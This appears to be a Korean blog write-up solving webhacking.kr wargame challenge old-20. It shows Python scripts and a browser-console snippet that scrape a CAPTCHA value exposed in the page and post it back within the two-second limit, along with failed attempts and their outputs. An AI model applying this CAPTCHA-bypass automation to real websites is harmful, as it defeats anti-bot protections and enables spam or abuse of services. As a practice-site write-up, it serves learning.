본문 바로가기

Wargame(hacking)/webhacking.kr

Webhacking.kr : old-20

Write-Up

 

그림 1

 

nickname, comment, captcha를 서버로 전송해야 한다. 하지만 제한 시간은 2초이고, 직접 captcha를 입력해 submit 하기에는 시간이 부족하다고 생각된다. 그래서 크롤링 후 주어진 captcha를 post로 전달해야겠다고 생각했고, 아래와 같은 코드를 작성하였다. 

 

먼저 크롤링을 위한 코드이다. 

 

import requests
from bs4 import BeautifulSoup

url = 'https://webhacking.kr/challenge/code-4/'

response = requests.get(url)

if response.status_code == 200:
   
    soup = BeautifulSoup(response.text, 'html.parser')
    
    captcha_button = soup.find('input', {'name': 'captcha_'})
    
    captcha_value = captcha_button['value']
    print("captcha value:", captcha_value)
else:
    print("Failed to retrieve the webpage. Status code:", response.status_code)

 

captcha 값을 크롤링했으니, 아래와 같은 코드로 post 전송을 시도해 보았다. 

 

##################################### 실패 코드 ##########################################
import requests
from bs4 import BeautifulSoup

url = 'https://webhacking.kr/challenge/code-4/'

response = requests.get(url)

if response.status_code == 200:
    
    soup = BeautifulSoup(response.text, 'html.parser')
    
    captcha_button = soup.find('input', {'name': 'captcha_'})

    captcha_value = captcha_button['value']
    print("captcha value:", captcha_value)
else:
    print("Failed to retrieve the webpage. Status code:", response.status_code)

datas = {
    'id':'1',
    'cmt':'1',
    'captcha':captcha_value   
}
cookies = {'PHPSESSID':'f71cpm67b9hi63qgfp7itlbh07','st':'1711515563'}
print('========================')
http_post_response = requests.post(url,data=datas,cookies=cookies)
print(http_post_response.text)

 

위 코드의 결과는 아래와 같았다. 

 

captcha value: cbTQIyDQxE
========================
Wrong Captcha

 

Wrong Captcha가 나온 이유는 처음 크롤링 시에는 cookie 값이 전달되지 않았다. 즉 크롤링해 온 captcha 값이 내 페이지의 captcha 값과 다를 수 있음을 의미한다. 

 

추가적으로 Wrong Captcha가 나온 경우가 있었는데, lv5frm.captcha_.value = '123'과 같이 인위적으로 주어진 captcha 값을 변경 후, 2초 이내에 form 제출 시 Wrong이 반환된다. 

 

아래는 다음으로 작성한 코드이다. 

 

################################### 실패 코드 #########################################
import requests
from bs4 import BeautifulSoup

url = 'https://webhacking.kr/challenge/code-4/'
cookies = {'PHPSESSID':'f71cpm67b9hi63qgfp7itlbh07','st':'1711515563'}

response = requests.get(url,cookies=cookies)

if response.status_code == 200:
   
    soup = BeautifulSoup(response.text, 'html.parser')
    
    captcha_button = soup.find('input', {'name': 'captcha_'})
    
    captcha_value = captcha_button['value']
    print("captcha value:", captcha_value)
else:
    print("Failed to retrieve the webpage. Status code:", response.status_code)

datas = {
    'id':'1',
    'cmt':'1',
    'captcha':captcha_value   
}

print('========================')
http_post_response = requests.post(url,data=datas,cookies=cookies)
print(http_post_response.text)

 

위 코드의 결과는 아래와 같았다. 

 

captcha value: oNKOdFhXXu
========================
Too Slow...<meta http-equiv=refresh content=3>

 

captcha 값이 틀리지는 않았으나, 2초 이내에 전달되지 않은 듯하다. 그 이유는 session이 지속적으로 유지되지 않으며, 다시 맺는 과정에서 시간을 초과했다고 생각한다. 

 

다시 작성한 코드는 아래와 같다. ( 정답 코드이다. )

 

########################################## 정답 코드 ####################################
import requests
from bs4 import BeautifulSoup

url = 'https://webhacking.kr/challenge/code-4/'

cookies = {'PHPSESSID': 'f71cpm67b9hi63qgfp7itlbh07', 'st': '1711513495'}

session = requests.Session()

session.cookies.update(cookies)

response = session.get(url)

if response.status_code == 200:
 
    soup = BeautifulSoup(response.text, 'html.parser')

    captcha_button = soup.find('input', {'name': 'captcha_'})
 
    captcha_value = captcha_button['value']
    print("captcha value:", captcha_value)
else:
    print("Failed to retrieve the webpage. Status code:", response.status_code)

datas = {
    'id': '1',
    'cmt': '1',
    'captcha': captcha_value
}

print('========================')
http_post_response = session.post(url, data=datas)
print(http_post_response.text)

################################################ 정답 코드2 #################################
import requests
from bs4 import BeautifulSoup

url = 'https://webhacking.kr/challenge/code-4/'
session = requests.Session()

cookies = {'PHPSESSID': 'f71cpm67b9hi63qgfp7itlbh07', 'st': '1711513495'}

response = session.get(url, cookies=cookies)

if response.status_code == 200:
    
    soup = BeautifulSoup(response.text, 'html.parser')
   
    captcha_button = soup.find('input', {'name': 'captcha_'})
    
    captcha_value = captcha_button['value']
    print("captcha value:", captcha_value)

    datas = {
        'id': '1',
        'cmt': '1',
        'captcha': captcha_value
    }

    print('========================')
    http_post_response = session.post(url, data=datas,cookies=cookies) # cookies=cookies 추가로 session 유지
    print(http_post_response.text)
    session.close()
else:
    print("Failed to retrieve the webpage. Status code:", response.status_code)

 

captcha value: 9nBf1BvGJT
========================
<script>alert('old-20 Pwned!');</script><hr>old-20 Pwned. You got 20point. Congratz!<hr>

 

 

문제를 푸는 다른 방법

 

생각보다 간단히 해당 문제를 해결할 수 있었다. 

 

lv5frm.id.value="1";
lv5frm.cmt.value="1";
lv5frm.captcha.value=lv5frm.captcha_.value;
lv5frm.submit();

 

해당 코드를 Console 창에 미리 입력해 둔 뒤, 새로고침 후 빠르게 입력(엔터)을 하면, 문제를 해결할 수 있다.